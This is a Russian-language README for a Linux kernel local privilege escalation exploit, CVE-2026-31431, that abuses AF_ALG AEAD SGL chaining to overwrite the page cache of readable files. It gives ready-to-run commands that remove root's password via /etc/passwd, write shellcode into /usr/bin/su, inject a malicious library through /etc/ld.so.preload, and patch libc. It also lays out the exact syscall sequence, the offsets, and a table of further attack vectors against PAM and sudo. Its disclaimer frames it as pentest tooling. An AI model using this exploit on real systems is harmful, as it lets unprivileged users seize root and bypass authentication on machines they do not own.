
Эксплойт для CVE-2026-31431 — уязвимость записи в page-cache AF_ALG AEAD в ядре Linux, позволяющая непривилегированно выполнять произвольные 4-байтовые записи в читаемые файлы для локального повышения привилегий.
Уязвимость записи за пределы буфера в page cache ядра Linux (ошибка цепочки SGL в AF_ALG AEAD)
В интерфейсе algif_aead ядра Linux существует уязвимость, позволяющая непривилегированному пользователю записывать произвольные данные в page cache любого читаемого файла — полностью обходя проверки прав доступа к файлам, мандатный контроль доступа (MAC) и проверки целостности.
Содержимое файла на диске не изменяется, но все последующие процессы, читающие этот файл (включая SUID-программы, динамический компоновщик, execve() и т.д.), будут видеть изменённую атакующим версию до тех пор, пока page cache не будет вытеснен.
| Параметр | Описание |
|---|---|
| Подсистема | crypto/algif_aead.c |
| Алгоритм | authencesn(hmac(sha256),cbc(aes)) |
| Конфигурация ядра | CONFIG_CRYPTO_USER_API_AEAD=y/m (включено по умолчанию почти во всех основных дистрибутивах) |
| Требуемые права | Нет — достаточно права на чтение целевого файла |
| Степень угрозы | Локальное повышение привилегий → root |
| Затронутые дистрибутивы | Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE и др. |
При выполнении AEAD-расшифровки через AF_ALG:
sendmsg() + MSG_MORE, содержащие контролируемые атакующим 4 байта seqno_lo.splice() страницы page cache целевого файла внедряются в передающий SGL (TX SGL) криптографической подсистемы ядра.sg_chain.authencesn записывает seqno_lo в целевой SGL по смещению assoclen + cryptlen — эта позиция выходит за пределы приёмного буфера и попадает непосредственно в связанные страницы page cache.EBADMSG, но page cache уже изменён. sendmsg (AAD) splice (страницы файла)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ RX буфер │─────────────▶│ Страница page cache│
│ 8 байт │ │ (содержимое файла) │
└──────────┘ └──────────────────────┘
▲
│
authencesn записывает здесь seqno_lo
смещение = assoclen + cryptlen
════ вот здесь уязвимость ════
seqno_lo полностью контролируются атакующим в AAD (что записывается)splice определяет смещение записи в page cache (куда записывается)# Изменение page cache /etc/passwd, удаление пароля root, автоматический su root
./exploit.py escalate
Процесс выполнения:
/etc/passwd в /tmp/.passwd.bakroot:x:0:0:root:... на root::0:0:root :... в page cachesu root (без пароля)Пример вывода:
[*] CVE-2026-31431 — Copy Fail
[*] Режим: удаление пароля root через /etc/passwd
[*] Резервная копия: /tmp/.passwd.bak
[*] До : root:x:0:0:root:/root:/bin/bash
[*] После : root::0:0:root :/root:/bin/bash
[*] Смещение: 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Успех: root::0:0:root :/root:/bin/bash
[*] Восстановление: echo 3 > /proc/sys/vm/drop_caches
[*] Выполнение: su root (пароль не требуется)
# Базовый синтаксис
./exploit.py write <путь_к_файлу> <смещение> <данные>
# Чтение payload из бинарного файла
./exploit.py write <путь_к_файлу> <смещение> @payload.bin
# Запись shellcode в точку входа SUID-программы
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# Внедрение пути к предзагружаемой библиотеке
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# Изменение функции libc (например, заставить getuid() возвращать 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
# Способ 1: очистка всего page cache, восстановление исходного содержимого с диска
echo 3 > /proc/sys/vm/drop_caches
# Способ 2: перезагрузка
reboot
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, authenc_ключевой_blob)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → fd запроса
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ Ключ аутентификации (16 байт нулей) │
├─────────────────────────────────────────────┤
│ Ключ шифрования (16 байт нулей) │
└─────────────────────────────────────────────┘
Значение ключа не имеет значения — HMAC гарантированно завершится ошибкой, но запись за пределы буфера выполняется до проверки.
Шаг 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = записываемое значение
cmsg = [OP=DECRYPT, IV=нули, ASSOCLEN=8],
flags = MSG_MORE)
Шаг 2: pipe_r, pipe_w = pipe()
Шаг 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
Шаг 4: splice(pipe_r → req_fd, count = file_offset + 4)
Шаг 5: recv(req_fd, ASSOC_LEN + file_offset)
→ запуск расшифровки authencesn
→ seqno_lo записывается в dst SGL по смещению assoclen + cryptlen
→ это смещение попадает в страницу page cache по адресу file_offset
→ сбой HMAC, возврат EBADMSG
→ page cache уже изменён ✓
Компоновка dst SGL:
[0 .. 7] → RX буфер (область приёма AAD)
[8 .. 8 + file_offset + 3] → страница page cache (внедрена через splice)
Позиция записи seqno_lo:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= позиция file_offset в page cache
∴ атакующий контролирует file_offset → контролирует позицию записи
атакующий контролирует seqno_lo → контролирует записываемое содержимое
.
├── exploit.py # Автономный скрипт эксплойта (требуется только Python 3 + Linux)
└── README.md # Этот файл
Данный инструмент предназначен только для авторизованных исследований в области безопасности и пентестинга. Несанкционированное использование данного инструмента для атак на чужие системы является противоправным действием. Пользователь несёт всю юридическую ответственность самостоятельно.
| Ограничение | Описание |
|---|
| Право на чтение | Целевой файл должен быть читаем для текущего пользователя (O_RDONLY) |
| Выравнивание | Запись по 4 байта; хвост менее 4 байт дополняется 0x90 |
| Размер файла | Размер файла должен быть ≥ смещение + длина_данных + 4 байт |
| Только page cache | Содержимое файла на диске не изменяется |
| Постоянство | Действует до вытеснения page cache или ручной очистки |
| Конфигурация ядра | Требуется AF_ALG + доступный authencesn (есть по умолчанию в основных дистрибутивах) |
| Вектор атаки | Целевой файл | Эффект |
|---|
| Удаление пароля root | /etc/passwd | su root без пароля |
| Внедрение предзагружаемой библиотеки | /etc/ld.so.preload | Все программы загружают вредоносный .so |
| Изменение SUID-программы | /usr/bin/su и др. | Выполнение shellcode для получения root shell |
| Изменение libc | /usr/lib/libc.so.6 | Перехват getuid() и других функций с возвратом 0 |
| Изменение модуля PAM | /usr/lib/security/pam_unix.so | Обход всей аутентификации |
| Изменение sudo | /usr/bin/sudo | Любой пользователь напрямую получает root |